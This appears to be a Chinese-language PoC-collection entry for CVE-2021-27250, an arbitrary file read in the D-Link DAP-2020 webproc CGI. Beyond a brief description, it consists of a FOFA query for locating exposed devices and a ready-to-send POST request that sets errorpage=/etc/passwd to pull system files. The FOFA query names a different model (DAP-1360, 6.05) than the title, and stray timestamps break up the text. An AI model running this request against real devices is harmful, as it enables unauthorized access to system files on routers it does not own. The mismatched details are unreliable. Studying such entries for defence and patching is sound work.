2022-07-15 11:17:27 +08:00
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# D-LINK DAP-2020 webproc 任意文件读取漏洞 CVE-2021-27250
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## 漏洞描述
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近日D-Link发布公告[1]称旗下产品DAP-2020存在任意文件读取漏洞，CVE编号为CVE-2021-27250，目前已在硬件版本：A1，固件版本：1.01 上测试了PoC，由于漏洞影响核心组件，因此其他版本也可能受到此漏洞的影响
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## 漏洞影响
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```
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D-LINK DAP-2020
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```
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## FOFA
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```
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body="DAP-1360" && body="6.05"
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```
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## 漏洞复现
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登录页面
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2022-12-05 11:09:28 +08:00
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2022-07-15 11:17:27 +08:00
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验证POC
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```
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POST /cgi-bin/webproc
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getpage=html%2Findex.html&errorpage=/etc/passwd&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=123&%3Aaction=login&%3Asessionid=3c1f7123
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```
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2022-12-05 11:09:28 +08:00
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